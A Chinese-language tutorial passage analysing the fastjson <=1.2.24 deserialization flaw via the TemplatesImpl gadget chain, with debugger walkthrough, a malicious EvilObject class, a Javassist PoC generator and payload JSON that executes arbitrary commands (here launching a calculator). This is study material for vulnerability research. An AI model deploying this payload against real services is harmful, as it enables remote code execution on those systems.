五、漏洞版本
1、fastjson<=1.2.24
1.1、TemplatesImpl 利用链分析
首先使用parseObject对payload进行反序列化。parseObject会调用payload中存储的@type信息,即Templateslmpl的getter,setter,和构造方法。
在TypeUtil.class中下断点,此处加载Templateslmpl类。
这里调用了getter方法,getOutputProperties
调用newTransformer方法
调用getTransletInstance方法
这里会调用defineTransletClasses,通过传入的_bytecodes生成 _class
此处可以看到成功传入类名,调用newInstance实例化为tranlet对象
此处调用恶意构造方法
完整的利用链
编译EvilObject.java成EvilObject.class
先看poc,其中NASTY_CLASS为TemplatesImpl类,evilCode是EvilObject.class base64编码:
final String evilClassPath = "E:\\Struts2-Vulenv-master\\PoCs-fastjson1241\\src\\main\\java\\org\\lain\\poc\\TemplatesImpl\\EvilObject.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;"; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_transletIndex\":0,\"_auxClasses\":{},\"_outputProperties\":{ }";
下面看下Poc是怎么构造的,当使用fastjson解析json时,会自动调用其属性的get方法。
TypeUtils.clss return loadClass处下断点,会加载TemplatesImpl类
继续调试,这里调用了getOutputProperties方法
调用new TransformerImpl方法,这时_OutputProperties已经赋值
调用newTransformer方法
调用getTransletInstance方法,并对我们传入的_name进行判断,这里就是为什么_name字段需要进行赋值
又判断_class,这里会调用defineTransletClasses,
这里就用到了_tfactory,这里也是他必须为{}(这里就是将它赋值为了一个对象),这段代买主要就是获得了一个类加载器,_tfactory设置为对象后,这里的代码就不会报错了,
继续执行,程序就会通过传入的_bytecodes生成 _class
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ecF2r0mL-1640942062042)(fastjson.assets/image-20211222003734154.png)]
此处可以看到成功传入了我们定义的恶意类的类名
然后就会在这里调用了恶意代码
总的来说,首先_bytecodes会传入 getTransletInstance方法中的defineTransletClasses方法,defineTransletClasses方法会根据_bytecodes字节数组new一个_class,_bytecodes加载到_class中,最后根据_class,用newInstance生成一个java实例
利用链大致就是这个(大佬的图)
将包含恶意代码的java文件使用javac生成.class文件
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class EvilObject /*extends AbstractTranslet */{ public EvilObject() throws IOException { Runtime.getRuntime().exec("open /Applications/Calculator.app"); } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } public static void main(String[] args) throws Exception { //test EvilObject evilObject = new EvilObject(); } }
将文件中的内容进行base64编码,然后放入payload中
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["恶意
这里附一个恶意代码和poc一起生成的文件
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.net.util.Base64; public class TemplatesImplPoc2 { public static class test{ } public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.get(test.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "nice0e3"+System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); // 将生成的class文件保存当当前项目目录下 cc.writeFile("./"); try { byte[] evilCode = cc.toBytecode(); String evilCode_base64 = new String(Base64.encodeBase64(evilCode)); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String text1 = "{"+ "\"@type\":\"" + NASTY_CLASS +"\","+ "\"_bytecodes\":[\""+evilCode_base64+"\"],"+ "'_name':'a.b',"+ "'_tfactory':{ },"+ "'_outputProperties':{ }"+ "}\n"; // 输出构造好的POC System.out.println(text1); ParserConfig config = new ParserConfig(); // fastjson解析POC // Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发; Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } } }
大概流程是先创建一个TemplatesImpl对象,再使用Javassist动态编程创建一个恶意类,由于这个恶意类是自定义的,因此可以通过该类执行任何想要执行的代码,比如Runtime.getRuntime().exec(“calc.exe”)。一个类在初始化时会自动执行静态代码块里的代码,因此可以将Runtime.getRuntime().exec(“calc.exe”)写在恶意类的静态代码块中,在初始化的过程中自动执行。恶意类会被转化成一个byte数组,并传递给TemplatesImpl的_ bytecodes属性。
主要注意的点
- 恶意代码在_bytecodes中,生成的恶意代码必须进行base64解码
- TemplatesImpl链中必须得继承父类
- _tfactory是一个对象
- _name不能为空
- _outputProperties 是properties类型,他的get和set方法都会被执行加粗样式
生成的poc
{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"y
将poc当成恶意代码传入目标中执行后就会弹出一个计算器